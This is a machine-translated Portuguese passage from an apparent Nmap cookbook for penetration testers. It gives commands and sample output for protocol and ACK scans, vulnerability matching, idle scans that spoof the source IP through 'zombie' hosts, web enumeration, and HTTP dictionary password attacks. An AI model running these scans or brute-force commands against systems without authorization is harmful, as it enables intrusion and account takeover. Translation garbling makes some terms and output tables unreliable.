encontrados no arquivo nmap-protocols e cria pacotes IP para cada entrada. Para os protocolos IP TCP, ICMP, UDP, IGMP
e SCTP, o Nmap definirá valores de cabeçalho válidos, mas para o restante, um pacote IP vazio será usado.

Para determinar o estado do protocolo, o Nmap classifica as diferentes respostas recebidas, da seguinte forma:

f Se receber um erro de protocolo ICMP inacessível tipo 3 código 2, o protocolo é


marcado como fechado

f Erros ICMP inacessíveis tipo 3 código 1,3,9,10 ou 13 indicam que um protocolo é filtrado

f Se nenhuma resposta for recebida, o protocolo é marcado como filtrado|aberto f Qualquer outra

resposta fará com que o protocolo seja marcado como aberto

Tem mais...
Para especificar quais protocolos devem ser verificados, podemos definir o argumento -p:

$nmap -p1,3,5 -sO <alvo>

$nmap -p1-10 -sO <alvo>

Personalizando a verificação do protocolo IP O arquivo que

contém a lista de protocolos IP é denominado nmap-protocols e está localizado na pasta raiz da instalação do Nmap.
Para adicionar um novo protocolo IP, basta adicionar sua entrada a este arquivo:

#echo "hip 139 #Host Identity Protocol" >> /usr/local/share/nmap/ nmap-protocols

99

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

Veja também

f A impressão digital do sistema operacional de uma receita de host

f A descoberta de nomes de host apontando para a mesma receita de endereço IP

f A receita de correspondência de serviços com vulnerabilidades de segurança conhecidas

f A receita de falsificação do IP de origem de uma varredura de porta

f A receita de registros DNS de força bruta

f A descoberta de firewalls dinâmicos com uma receita de verificação TCP

ACK f A receita de descoberta de serviços UDP

Descobrindo firewalls com estado usando um TCP


verificação de ACK

A técnica de varredura TCP ACK usa pacotes com o sinalizador ACK ativado para tentar determinar
se uma porta é filtrada. Essa técnica é útil ao verificar se o firewall que protege um host é com ou sem
estado.

Esta receita mostra como executar a varredura de porta TCP ACK usando o Nmap.

Como fazer isso...

Abra seu terminal e digite o seguinte comando:

#nmap -sA <alvo>

A saída segue o formato de porta padrão:

# nmap -sA 192.168.1.254

Relatório de verificação do Nmap para 192.168.1.254

O host está ativo (latência de 0,024s).

Todas as 1000 portas verificadas em 192.168.1.254 não são filtradas

Endereço MAC: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)

Como funciona...

O argumento -sA diz ao Nmap para iniciar uma varredura de porta TCP ACK no host de destino. A técnica
de verificação de porta TCP ACK funciona da seguinte maneira:

100

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

1. Um pacote com a bandeira ACK é enviado para cada porta selecionada.

2. Se a porta estiver aberta ou fechada, um pacote RST é enviado pela máquina de destino.
Essa resposta também indica que o host de destino não está atrás de um firewall dinâmico.

3. Podemos determinar que um host está protegido por firewall se não retornar uma resposta ou se retornar uma
mensagem de erro ICMP.

Tem mais...
É importante lembrar que esta técnica não diferencia entre portas abertas e fechadas. É usado principalmente
para identificar os sistemas de filtragem de pacotes que protegem um host.

Essa técnica de varredura pode ser combinada com a opção --badsum do Nmap para melhorar a probabilidade de
detectar um firewall ou IPS. Os sistemas de filtragem de pacotes que não calculam a soma de verificação corretamente
retornarão um erro ICMP de destino inacessível, revelando, portanto, sua presença.

Os intervalos de porta podem ser definidos usando os sinalizadores -p, -p[1-65535] ou -p- para todas as portas TCP possíveis:

$nmap -sA -p80 <alvo>


$nmap -sA -p1-100 <destino>
$nmap -sA -p- <alvo>

Estados da porta
O Nmap categoriza as portas usando os seguintes estados:

f Aberto: indica que um aplicativo está escutando conexões nesta porta.

f Fechado: indica que os probes foram recebidos, mas não há nenhum aplicativo escutando nesta porta.

f Filtrado: indica que as sondas não foram recebidas e o estado não pôde ser estabelecido. Também indica que
as sondas estão sendo descartadas por algum tipo de filtragem.

f Não filtrado: indica que as sondagens foram recebidas, mas um estado não pôde ser
estabelecida.

f Aberto/Filtrado: Indica que o Nmap não pôde determinar se a porta está filtrada
ou aberto.

f Fechado/Filtrado: Indica que o Nmap não pôde determinar se a porta está filtrada
ou fechado.

101

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

Veja também

f A impressão digital do sistema operacional de uma receita de host

f A descoberta de nomes de host apontando para a mesma receita de endereço IP

f A receita Verificando se um host é conhecido por atividades maliciosas f A receita

Listagem de protocolos suportados por um host remoto

f A receita de correspondência de serviços com vulnerabilidades de segurança conhecidas

f A falsificação do IP de origem de uma receita de varredura de

porta f A receita de registros DNS de força bruta

f A receita de descoberta de serviços UDP

Serviços correspondentes com vulnerabilidades


de segurança conhecidas
A descoberta de versão é essencial para os testadores de penetração, pois eles podem usar essas informações para
encontrar vulnerabilidades de segurança pública que afetam um serviço verificado. O Nmap Scripting Engine nos permite
combinar o popular banco de dados de vulnerabilidade OSVDB com os serviços descobertos em nossas varreduras.

Esta receita mostra como listar vulnerabilidades de segurança conhecidas no banco de dados osvdb que podem afetar um
serviço descoberto usando o Nmap.

Preparando-se

Para realizar essa tarefa, usamos o script NSE vulscan desenvolvido por Marc Ruef. Este script não está incluído
no repositório Nmap oficial, então você precisa instalá-lo separadamente antes de continuar.

Para instalá-lo, baixe a versão mais recente do vulscan em http://www.computec.ch/mruef/?s=software&l=e.

Depois de extrair os arquivos, copie o script vulscan.nse em sua pasta de script local
($NMAP_ INSTALLATION/scripts/). Em seguida, crie uma pasta chamada vulscan no
mesmo diretório e coloque os arquivos de banco de dados osvdb object_products.txt,
object_correlations. txt, object_links.txt e vulnerabilities.txt nele.

Para atualizar o banco de dados do script, execute o seguinte comando:

#nmap --script-updatedb

102

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

Como fazer isso...


Abra um terminal e digite o seguinte comando:

#nmap -sV --script vulscan <alvo>

O script vulscan incluirá os registros correspondentes após cada serviço ser descoberto:

# nmap -sV --script vulscan.nse meil.0xdeadbeefcafe.com -PS80

Relatório de varredura Nmap para meil.0xdeadbeefcafe.com (106.187.35.219)


O host está ativo (latência de 0,20 s).
Não mostrado: 995 portas filtradas
PORTA VERSÃO DE SERVIÇO DE ESTADO

22/tcp ssh fechado


80/tcp http fechado
113/tcp identidade fechada
465/tcp aberto ssl/smtp Postfix smtpd
| vulscan: [1991] Postfix SMTP Log DoS
| [6551] Postfix Bounce Scan / DDoS de amplificação de pacotes
| [10544] Endereço de Envelope Postfix Malformado nqmgr DoS
| [10545] Postfix Multiple Mail Header SMTP listener DoS
| [13470] Patch IPv6 pós-fixado if_inet6 Falha na retransmissão de correio arbitrário
| [47658] Postfix Hardlink para Symlink Mailspool Arbitrary Content
Acrescentar

| [47659] Interceptação de e-mail local entre usuários do postfix


| [48108] Postfix epoll File Descriptor Vazamento DoS local
| [74515] Dovecot script-login chroot Definição de configuração Traversal
Acesso arbitrário a arquivos

Como funciona...
No comando anterior, o sinalizador -sV ativa a detecção do serviço e o argumento --script vulscan
inicia o script NSE vulscan.

O site osvdb.org é um banco de dados de vulnerabilidades de código aberto criado por HD Moore e Forrest
Rae. O script vulscan analisa cada nome e versão de serviço e os compara com uma cópia local do banco
de dados de vulnerabilidades em osvdb.org.

Este método está longe de ser perfeito, pois a correspondência de nomes para vulscan ainda sofre alguns
bugs e também dependemos da detecção de versão do Nmap. Mas ainda é incrivelmente útil localizar
possíveis vulnerabilidades públicas que afetam o serviço verificado.

103

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

Tem mais...
Para atualizar sua cópia local do banco de dados osvdb , visite osvdb.org, obtenha a exportação CSV mais recente e substitua
os arquivos em /scripts/vulscan/.

Veja também

f A impressão digital do sistema operacional de uma receita de host

f A receita Coletando contas de e-mail válidas f A receita

Descobrindo nomes de host apontando para o mesmo endereço IP

f A lista de protocolos suportados por uma receita de host remoto

f A falsificação do IP de origem de uma receita de varredura de porta

f A receita de registros DNS de força bruta

f A receita de descoberta de serviços UDP

Falsificando o IP de origem de uma verificação de porta


A varredura ociosa é uma técnica muito poderosa, onde o Nmap tira proveito de um host ocioso com um número de
sequência de ID de IP previsível para falsificar o IP de origem de uma varredura de porta.

Esta receita ilustra como encontrar hosts zumbis e usá-los para falsificar seu endereço IP ao escanear um host
remoto com o Nmap.

Preparando-se
Para iniciar uma verificação inativa, precisamos de um host zumbi. Um host zumbi é uma máquina com um número de
sequência de ID IP previsível que será usado como o endereço IP falsificado. Um bom candidato não deve estar se
comunicando com outros hosts, a fim de manter o número de sequência de ID de IP correto e evitar falsos positivos.

Para encontrar hosts com uma sequência de ID de IP incremental, você pode usar o script ipidseq da seguinte
maneira:

#nmap -p80 --script ipidseq <seu ip>/24

#nmap -p80 --script ipidseq -iR 1000

Possíveis candidatos retornarão o texto Incremental na seção de saída do script:

O host está ativo (latência de 0,28 s).


SERVIÇO DO ESTADO DO PORTO

104

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

80/tcp http aberto

Resultados do script de host:

|_ipidseq: Incremental!

Como fazer isso...


Para iniciar uma varredura ociosa, abra seu terminal e digite o seguinte comando:

#nmap -Pn -sI <host zumbi> <alvo>

A saída será semelhante à seguinte:

Varredura ociosa usando zumbi 93.88.107.55 (93.88.107.55:80); Classe: Incremental

Relatório de varredura Nmap para meil.0xdeadbeefcafe.com (106.187.35.219)

O host está ativo (latência de 0,67 s).

Não mostrado: 98 portas fechadas|filtradas


PORTA SERVIÇO DE ESTADO

465/tcp smtps aberto

993/tcp abrir imaps

A varredura ociosa deve funcionar se o host zumbi atender aos requisitos discutidos anteriormente.
Se algo não funcionou como esperado, a mensagem de erro retornada deve dar uma ideia do que deu errado:

Idle scan zombie XXX.XXX.XX.XX (XXX.XXX.XX.XX) porta 80 não pode ser usada porque não retornou
nenhuma das nossas sondagens -- talvez esteja fora do ar ou com firewall.

DESISTINDO!

Idle scan zombie 0xdeadbeefcafe.com (50.116.1.121) porta 80 não pode ser usada porque a classe de
sequenciabilidade de ID IP é: Todos os zeros. Tente outro
proxy.
DESISTINDO!

Como funciona...
A varredura ociosa foi descoberta originalmente por Salvatore Sanfilipo (autor de hping) em 1998. É uma técnica
de varredura inteligente e muito furtiva, na qual o IP de origem é falsificado forjando pacotes e analisando números
de sequência de ID de IP de um host ocioso, geralmente chamado de host zumbi .

105

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

O sinalizador -sI <zombie> é usado para dizer ao Nmap para iniciar uma varredura de porta ociosa usando <zombie>
como o IP de origem. A verificação inativa funciona da seguinte maneira:

1. O Nmap determina a sequência de ID do IP do host zumbi.

2. O Nmap envia um pacote SYN forjado para o alvo como se tivesse sido enviado pelo host zumbi.

3. Se a porta estiver aberta, o destino envia ao host zumbi um pacote SYN/ACK e aumenta seu número de
sequência de ID de IP.

4. O Nmap analisa o incremento do número de sequência do IP ID do zumbi para saber


se um pacote SYN/ACK foi recebido do destino e para determinar o estado da porta.

Tem mais...
Outros hosts que se comunicam com a máquina zumbi incrementam seu número de sequência de ID IP, causando
falsos positivos em suas varreduras. Portanto, essa técnica só funciona se o host zumbi estiver ocioso. Portanto, fazer
a escolha certa é crucial.

Também é importante que você descubra se o seu ISP não está filtrando ativamente pacotes falsificados. Muitos ISPs
hoje bloqueiam e até modificam pacotes falsificados, substituindo o endereço falsificado pelo seu endereço IP real,
tornando essa técnica inútil, pois o alvo receberá seu endereço IP real.
Infelizmente, o Nmap não pode detectar esta situação e isso pode fazer você pensar que está escaneando um
host sem deixar rastros quando, na realidade, todos os seus pacotes estão enviando seu endereço IP real.

O número de sequência do ID IP O campo ID no

cabeçalho IP é usado principalmente para rastrear pacotes para remontagem, mas como muitos sistemas
implementam esse número de maneiras diferentes, ele tem sido usado por entusiastas de segurança para identificar,
analisar e coletar informações desses sistemas.

Roteadores domésticos, impressoras, webcams IP e primitivos geralmente usam números de sequência de ID de


IP incrementais e são ótimos candidatos para serem usados como hosts zumbis. Eles também tendem a ficar
inativos a maior parte do tempo, o que é um requisito importante para a digitalização inativa. Para descobrir se um
host possui uma sequência de ID de IP incremental, existem duas opções:

f Usando o modo detalhado com detecção de SO.

#nmap -sV -v -O <alvo>

f Usando o script ipidseq NSE de Kriss Katterjon .

$nmap -p80 --script ipidseq <alvo>

106

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

Veja também

f A impressão digital do sistema operacional de uma receita de host f A

descoberta de nomes de host que apontam para a mesma receita de endereço IP

f A receita Verificando se um host é conhecido por atividades maliciosas

f Os protocolos de listagem suportados por uma receita de host remoto f Os

serviços de correspondência com receita de vulnerabilidades de segurança conhecidas

f A receita de registros DNS de força bruta

f A descoberta de firewalls dinâmicos com uma receita de varredura TCP ACK

107

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

4
Auditoria de Servidores Web
Este capítulo mostra como fazer algumas coisas que, em muitas situações,
podem ser ilegais, antiéticas, uma violação dos termos de serviço ou
simplesmente não ser uma boa ideia. Ele é fornecido aqui para fornecer
informações que podem ser úteis para se proteger contra ameaças e tornar
seu próprio sistema mais seguro. Antes de seguir estas instruções, certifique-
se de estar do lado certo da linha legal e ética... use seus poderes para o bem!

Neste capítulo abordaremos:

f Listando métodos HTTP suportados

f Verificando se um proxy HTTP está aberto

f Descobrir arquivos e diretórios interessantes em vários servidores da Web f

Autenticação HTTP forçada por força bruta

f Abuso de mod_userdir para enumerar contas de usuário

f Testando credenciais padrão em aplicativos da web f

Auditoria de senha de força bruta em instalações do WordPress

f Auditoria de senha de força bruta Joomla! instalações

f Detecção de firewalls de aplicativos da web

f Detecção de possíveis vulnerabilidades XST

f Detecção de vulnerabilidades de Cross Site Scripting em aplicativos da web

f Encontrando vulnerabilidades de injeção de SQL em aplicativos da

web f Detectando servidores da web vulneráveis a ataques de negação de serviço slowloris

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Introdução

O Hypertext Transfer Protocol (HTTP) é indiscutivelmente um dos protocolos mais populares em uso atualmente.
Os servidores da Web deixaram de servir páginas estáticas para lidar com aplicativos da Web complexos com interação
real do usuário. Isso abriu as portas para entrada de usuário contaminada que poderia alterar a lógica de um aplicativo
para executar ações não intencionais. Estruturas modernas de desenvolvimento da web permitem que quase qualquer
pessoa com conhecimento de programação produza aplicativos da web em minutos, mas isso também causou um
aumento de aplicativos vulneráveis na Internet. O número de scripts HTTP disponíveis para o Nmap Scripting Engine
cresceu rapidamente, e o Nmap se transformou em um scanner da Web inestimável que ajuda os testadores de penetração
a realizar muitas das tediosas verificações manuais de maneira automatizada. Não só pode ser usado para encontrar
aplicações web vulneráveis ou detectar definições de configuração defeituosas, mas graças à nova biblioteca de spidering,
o Nmap pode até rastrear servidores web, procurando por todos os tipos de informações interessantes.

Este capítulo é sobre como usar o Nmap para auditar servidores web, desde automatizar verificações de
configuração até explorar aplicações web vulneráveis. Apresentarei alguns dos scripts NSE que desenvolvi no ano passado
e que uso todos os dias ao realizar testes de penetração na Web na Websec. Este capítulo aborda tarefas como detecção
de um sistema de filtragem de pacotes, auditoria de senha de força bruta, descoberta de arquivos e diretórios e exploração
de vulnerabilidades.

Listando métodos HTTP compatíveis

Os servidores da Web suportam diferentes métodos HTTP de acordo com sua configuração e software, e alguns deles
podem ser perigosos sob certas condições. Os pentesters precisam de uma maneira de listar rapidamente os métodos
disponíveis. Os métodos http do script NSE permitem não apenas listar esses métodos potencialmente perigosos, mas
também testá-los.

Esta receita mostra como usar o Nmap para enumerar todos os métodos HTTP suportados por um servidor web.

Como fazer isso...


Abra um terminal e digite o seguinte comando:

$ nmap -p80,443 --script http-methods scanme.nmap.org

Os resultados são mostrados para cada servidor web detectado nas portas 80 ou 443:

Relatório de verificação do Nmap para scanme.nmap.org (74.207.244.221)


O host está ativo (latência de 0,11s).
PORTA SERVIÇO DE ESTADO

80/tcp open http |_http-


methods: GET HEAD POST OPTIONS 443/tcp closed
https

110

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

Como funciona...
O argumento -p80,443 --script http-methods faz o Nmap lançar o script de métodos http se um servidor web
for encontrado nas portas 80 ou 443 (-p80,443). Os métodos http do script NSE foram enviados por Bernd
Stroessenreuther e usam as OPÇÕES do método HTTP para tentar listar todos os métodos suportados por um
servidor web.

OPTIONS é implementado em servidores web para informar os clientes sobre seus métodos suportados. Lembre-se
que este método não leva em consideração configuração ou regras de firewall, e ter um método listado por OPÇÕES
não significa necessariamente que ele esteja acessível a você.

Tem mais...
Para verificar individualmente a resposta do código de status dos métodos retornados por OPTIONS, use
o argumento de script http-methods.retest:

# nmap -p80,443 --script http-methods --script-args http-methods.retest


scanme.nmap.org

Relatório de verificação do Nmap para scanme.nmap.org (74.207.244.221)

O host está ativo (latência de 0,14s).


PORTA SERVIÇO DE ESTADO

80/tcp http aberto

| http-methods: OBTER OPÇÕES DE POST DE CABEÇA

| GET / -> HTTP/1.1 200 OK | | HEAD / -> HTTP/1.1 200

OK | | POST / -> HTTP/1.1 200 OK | |_OPÇÕES / -> HTTP/

1.1 200 OK 443/tcp https fechados

Por padrão, o script http-methods usa a pasta raiz como o caminho base ( / ). Se você deseja definir um
caminho base diferente, defina o argumento http-methods.url-path:

# nmap -p80,443 --script http-methods --script-args http-methods.url path=/mypath/ scanme.nmap.org

111

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Métodos HTTP interessantes Os


métodos HTTP TRACE, CONNECT, PUT e DELETE podem apresentar um risco de segurança
e precisam ser testados exaustivamente se forem suportados por um servidor ou aplicativo da web.

O TRACE torna os aplicativos suscetíveis a ataques de rastreamento entre sites (XST) e pode fazer com que
invasores acessem cookies marcados como httpOnly. O método CONNECT pode permitir que o servidor da web seja
usado como um proxy da web não autorizado. Os métodos PUT e DELETE têm a capacidade de alterar o conteúdo de
uma pasta e isso obviamente pode ser abusado se as permissões não forem definidas corretamente.

Você pode aprender mais sobre os riscos comuns associados a cada método em http://www. owasp.org/index.php/
Testing_for_HTTP_Methods_and_XST_%28OWASP CM-008%29.

HTTP User Agent Existem

alguns produtos de filtragem de pacotes que bloqueiam solicitações que usam o HTTP User Agent padrão do
Nmap. Você pode usar um agente de usuário HTTP diferente definindo o argumento http.useragent:

$ nmap -p80 --script http-methods --script-args http.useragent="Mozilla 42" <alvo>

Pipelining HTTP Alguns

servidores web permitem o encapsulamento de mais de uma requisição HTTP em um único pacote.
Isso pode acelerar a execução de um script NSE HTTP e é recomendável usá-lo, se o servidor da Web for compatível.
A biblioteca HTTP, por padrão, tenta canalizar 40 solicitações e ajusta automaticamente o número de solicitações de
acordo com as condições de tráfego, com base no cabeçalho Keep-Alive .

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <alvo>

Além disso, você pode usar o argumento http.max-pipeline para definir o número máximo de solicitações HTTP a serem
adicionadas ao pipeline. Se o parâmetro de script http.pipeline for definido, este argumento será ignorado:

$nmap -p80 --script http-methods --script-args http.max-pipeline=10


<alvo>

Veja também

f A receita para detectar possíveis vulnerabilidades XST f A receita


para descobrir arquivos e diretórios interessantes em vários servidores da web f A receita para detectar
firewalls de aplicativos da web f A receita para abusar de mod_userdir para enumerar contas de usuário f A
receita para testar credenciais padrão em aplicativos da web f A receita para detectar servidores da web
vulneráveis receita de ataques de negação de serviço slowloris

112

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

Verificando se um proxy HTTP está aberto


Os proxies HTTP são usados para fazer solicitações por meio de seus endereços, ocultando, portanto,
nosso endereço IP real do destino. Detectá-los é importante se você for um administrador de sistema
que precisa manter a rede segura ou um invasor que falsifica sua origem real.

Esta receita mostra como usar o Nmap para detectar um proxy HTTP aberto.

Como fazer isso...


Abra seu terminal e digite o seguinte comando:

$ nmap --script http-open-proxy -p8080 <alvo>

Os resultados incluem os métodos HTTP que foram testados com sucesso:

PORTA SERVIÇO DE ESTADO

8080/tcp abrir http-proxy | proxy-open-

http: Proxy potencialmente ABERTO.

|_ Métodos testados com sucesso: GET HEAD CONNECT

Como funciona...
Usamos o argumento --script http-open-proxy -p8080 para iniciar o script NSE http-open-
proxy se um servidor da Web for encontrado em execução na porta 8080, uma porta comum
para proxies HTTP.

O script NSE http-open-proxy foi submetido por Arturo "Buanzo" Busleiman e foi projetado para
detectar proxies abertos, como o próprio nome indica. Por padrão, ele solicita google. com,
wikipedia.org e computerhistory.org e procura um padrão de texto conhecido para determinar se há
um proxy HTTP aberto em execução no servidor da Web de destino.

Tem mais...
Você pode solicitar uma URL diferente e especificar o padrão que será retornado se a
conexão for bem-sucedida usando os parâmetros de script http-open-proxy.url e http-open-
proxy.pattern:

$ nmap --script http-open-proxy –script-args http-open-proxy.url=http:// whatsmyip.org,http-open-


proxy.pattern="Seu endereço IP é" -p8080 <alvo>

113

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Agente de usuário HTTP

Existem alguns produtos de filtragem de pacotes que bloqueiam solicitações que usam o agente de usuário HTTP
padrão do Nmap. Você pode usar um agente de usuário HTTP diferente definindo o argumento http.useragent:

$ nmap -p80 --script http-trace --script-args http.useragent="Mozilla 42" <alvo>

Veja também

f A receita para detectar possíveis vulnerabilidades XST f A receita

para descobrir arquivos e diretórios interessantes em vários servidores da Web f A receita para detectar

firewalls de aplicativos da web

f A receita de autenticação HTTP de força bruta f A receita de

abuso do mod_userdir para enumerar contas de usuário f A receita de teste de

credenciais padrão em aplicativos da web

f A receita de instalações WordPress de auditoria de senha de força bruta

f A auditoria de senha de força bruta do Joomla! receita de instalações f A receita

Encontrando vulnerabilidades de injeção SQL em aplicativos da web

f A receita de detecção de servidores web vulneráveis a ataques de negação de serviço slowloris

Descobrir arquivos e diretórios interessantes em


vários servidores da web
Uma das tarefas comuns durante os testes de penetração que não podem ser feitas manualmente é a descoberta
de arquivos e diretórios. Existem várias ferramentas feitas para essa tarefa, mas o Nmap realmente se destaca com
seu banco de dados robusto que abrange arquivos interessantes, como READMEs, dumps de banco de dados e
backups de configuração esquecidos; diretórios comuns, como painéis de administração ou uploaders de arquivos
desprotegidos; e até mesmo cargas de ataque para explorar passagens de diretório em aplicativos da web comuns e
vulneráveis.

Esta receita mostrará a você como usar o Nmap para escanear a web para descobrir arquivos interessantes, diretórios e
até mesmo aplicações web vulneráveis.

Como fazer isso...

Abra seu terminal e digite o seguinte comando:

$ nmap --script http-enum -p80 <alvo>

114

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

Os resultados incluirão todos os arquivos, diretórios e aplicativos interessantes:

SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto

| http-enum: | /
blog/: Blogue | /
test.php: página de teste | /
robots.txt: Arquivo de robôs | /css/
cake.generic.css: aplicativo CakePHP |_ /img/cake.icon.png:
aplicativo CakePHP

Como funciona...
O argumento -p80 --script http-enum diz ao Nmap para iniciar o script http-enum se um servidor web
for encontrado na porta 80. O script http-enum foi originalmente enviado por Ron Bowes e seu objetivo
principal era a descoberta de diretórios, mas o community tem adicionado novas impressões digitais para
incluir outros arquivos interessantes, como arquivos de versão, READMEs e backups de banco de dados
esquecidos. Também adicionei mais de 150 entradas que identificam aplicativos da web vulneráveis dos
últimos dois anos, e novas entradas são adicionadas constantemente.

SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto

| http-enum: |_ /
crossdomain.xml: política de domínio cruzado do Adobe Flash

SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto | http-

enum: | /administrator/:
Possível pasta admin | /administrator/index.php: Possível
pasta admin | /home.html: Possível pasta admin | /teste/: página de teste
| |_ /robots.txt: arquivo de robôs

/logs/: Logs

115

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Tem mais...
As impressões digitais são armazenadas no arquivo http-fingerprints.lua em /nselib/data/ e, na verdade, são tabelas
LUA. Uma entrada se parece com algo como o seguinte:

table.insert(fingerprints, { category='cms',
probes={ {path='/changelog.txt'}, {path='/
tinymce/changelog.txt'},

},

match={ {match='Versão (.-) ', output='Versão \\1'}, {output='Interessante, um


changelog.'}
}
})

Você pode adicionar suas próprias entradas a este arquivo ou usar um arquivo de impressão digital diferente
usando o argumento http-enum.fingerprintfile:

$ nmap --script http-enum --script-args http-enum.fingerprintfile=./ myfingerprints.txt -p80 <alvo>

Por padrão, http-enum usa o diretório raiz como o caminho base. Para definir um caminho base diferente, use o argumento
de script http-enum.basepath:

$ nmap --script http-enum http-enum.basepath=/web/ -p80 <alvo>

Para exibir todas as entradas que retornaram um código de status que poderia indicar a existência de uma página, use o
argumento de script http-enum.displayall:

$ nmap --script http-enum http-enum.displayall -p80 <alvo>

HTTP User Agent Existem

alguns produtos de filtragem de pacotes que bloqueiam solicitações feitas usando o HTTP User Agent padrão do
Nmap. Você pode usar um agente de usuário HTTP diferente definindo o argumento http. agente de usuário:

$ nmap -p80 --script http-enum --script-args http.useragent="Mozilla 42" <alvo>

Pipelining HTTP Alguns

servidores web permitem o encapsulamento de mais de uma requisição HTTP em um único pacote.
Isso pode acelerar a execução de um script NSE HTTP e é recomendável que seja usado se o servidor da Web for
compatível. A biblioteca HTTP, por padrão, tenta canalizar 40 solicitações e ajusta automaticamente esse número de acordo
com as condições de tráfego, com base no cabeçalho Keep-Alive .

$ nmap -p80 --script http-enum --script-args http.pipeline=25 <alvo>


116

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

Além disso, você pode usar o argumento http.max-pipeline para definir o número máximo de solicitações
HTTP a serem adicionadas ao pipeline. Se o parâmetro de script http.pipeline for definido, este argumento
será ignorado:

$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <alvo>

Veja também

f A receita de autenticação HTTP de força bruta

f O mod_userdir de abuso para enumerar receita de contas de usuário

f A receita Testando credenciais padrão em aplicativos da Web

f A receita de instalações WordPress de auditoria de senha de força bruta f A

auditoria de senha de força bruta Joomla! receita de instalações

Autenticação HTTP de força bruta


Muitos roteadores domésticos, webcams IP e até aplicativos da Web ainda dependem da autenticação HTTP
atualmente, e os testadores de penetração precisam tentar uma lista de palavras de senhas fracas para
garantir que o sistema ou as contas de usuário sejam seguras. Agora, graças ao script NSE http-brute,
podemos realizar ataques de dicionário robustos contra recursos protegidos por HTTPAuth.

Esta receita mostra como realizar auditoria de senha de força bruta em servidores da Web que usam
autenticação HTTP.

Como fazer isso...

Use o seguinte comando Nmap para executar auditoria de senha de força bruta contra um recurso
protegido pela autenticação básica do HTTP:

$ nmap -p80 --script http-brute –script-args http-brute.path=/admin/ <alvo>

Os resultados contêm todas as contas válidas encontradas:

PORTA MOTIVO DE SERVIÇO ESTADUAL

80/tcp http aberto | http- vista-oh

bruto:

| contas

| admin:secret => Credenciais válidas

| Estatísticas |_
Realizou 603 palpites em 7 segundos, tps médio: 86

117

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Como funciona...
O argumento -p80 --script http-brute diz ao Nmap para lançar o script http-brute contra o servidor web rodando
na porta 80. Este script foi originalmente confirmado por Patrik Karlsson, e foi criado para lançar ataques de
dicionário contra URIs protegidos por HTTP's autenticação básica.

O script http-brute usa, por padrão, os arquivos usernames.lst e passwords.lst localizados em /nselib/data/ para
tentar cada senha, para cada usuário, para encontrar uma conta válida.

Tem mais...
O script http-brute depende das bibliotecas NSE unpwdb e brute. Essas bibliotecas têm vários
argumentos de script que podem ser usados para ajustar a auditoria de sua senha de força bruta.

Para usar diferentes listas de nome de usuário e senha, defina os argumentos userdb e passdb:

$ nmap -p80 --script http-brute --script-args userdb=/var/usernames. txt,passdb=/var/passwords.txt


<destino>

Para sair depois de encontrar uma conta válida, use o argumento brute.firstOnly:

$ nmap -p80 --script http-brute --script-args brute.firstOnly <alvo>

Por padrão, o http-brute usa o modelo de temporização do Nmap para definir os seguintes limites de tempo limite:

f -T3,T2,T1: 10 minutos

f -T4: 5 minutos

f -T5: 3 minutos

Para definir um limite de tempo limite diferente, use o argumento unpwd.timelimit. Para executá-lo
indefinidamente, defina-o como 0:

$ nmap -p80 --script http-brute --script-args unpwdb.timelimit=0 <alvo>

$ nmap -p80 --script http-brute --script-args unpwdb.timelimit=60m <alvo>

HTTP User Agent Existem


alguns produtos de filtragem de pacotes que bloqueiam solicitações feitas usando o HTTP User Agent padrão do
Nmap. Você pode usar um valor de User Agent diferente definindo o argumento http.useragent:

$ nmap -p80 --script http-brute --script-args http.useragent="Mozilla 42" <alvo>

118

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

Pipelining HTTP Alguns


servidores web permitem o encapsulamento de mais de uma requisição HTTP em um único pacote.
Isso pode acelerar a execução de um script NSE HTTP e é recomendável que seja usado se o servidor
da Web for compatível. A biblioteca HTTP, por padrão, tenta canalizar 40 solicitações e ajusta
automaticamente esse número de acordo com as condições de tráfego, com base no cabeçalho Keep-Alive .

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <alvo>

Além disso, você pode usar o argumento http.max-pipeline para definir o número máximo de solicitações
HTTP a serem adicionadas ao pipeline. Se o parâmetro de script http.pipeline for definido, este argumento
será ignorado:

$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <alvo>

modos brutos
A biblioteca bruta suporta diferentes modos que alteram as combinações usadas no ataque.
Os modos disponíveis são:

f user: Neste modo, para cada usuário listado em userdb, todas as senhas em passdb
será tentado.

$ nmap --script http-brute --script-args brute.mode=user <alvo>

f pass: Neste modo, para cada senha listada em passdb, todos os usuários em usedb
será tentado.

$ nmap --script http-brute --script-args brute.mode=pass <alvo>

f creds: Este modo requer o argumento adicional brute.credfile.

$ nmap --script http-brute --script-args brute.mode=creds,brute. credfile=./creds.txt <destino>

Veja também

f A receita para detectar possíveis vulnerabilidades XST f A


receita para descobrir arquivos e diretórios interessantes em vários servidores da web f A
receita para detectar firewalls de aplicativos da web
f O mod_userdir de abuso para enumerar receita de contas de usuário
f A receita de teste de credenciais padrão em aplicativos da web f A
receita de instalações WordPress de auditoria de senha de força bruta
f A auditoria de senha de força bruta do Joomla! receita de instalações
f A receita de detecção de servidores web vulneráveis a ataques de negação de serviço slowloris

119

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Abusando de mod_userdir para enumerar


contas de usuário
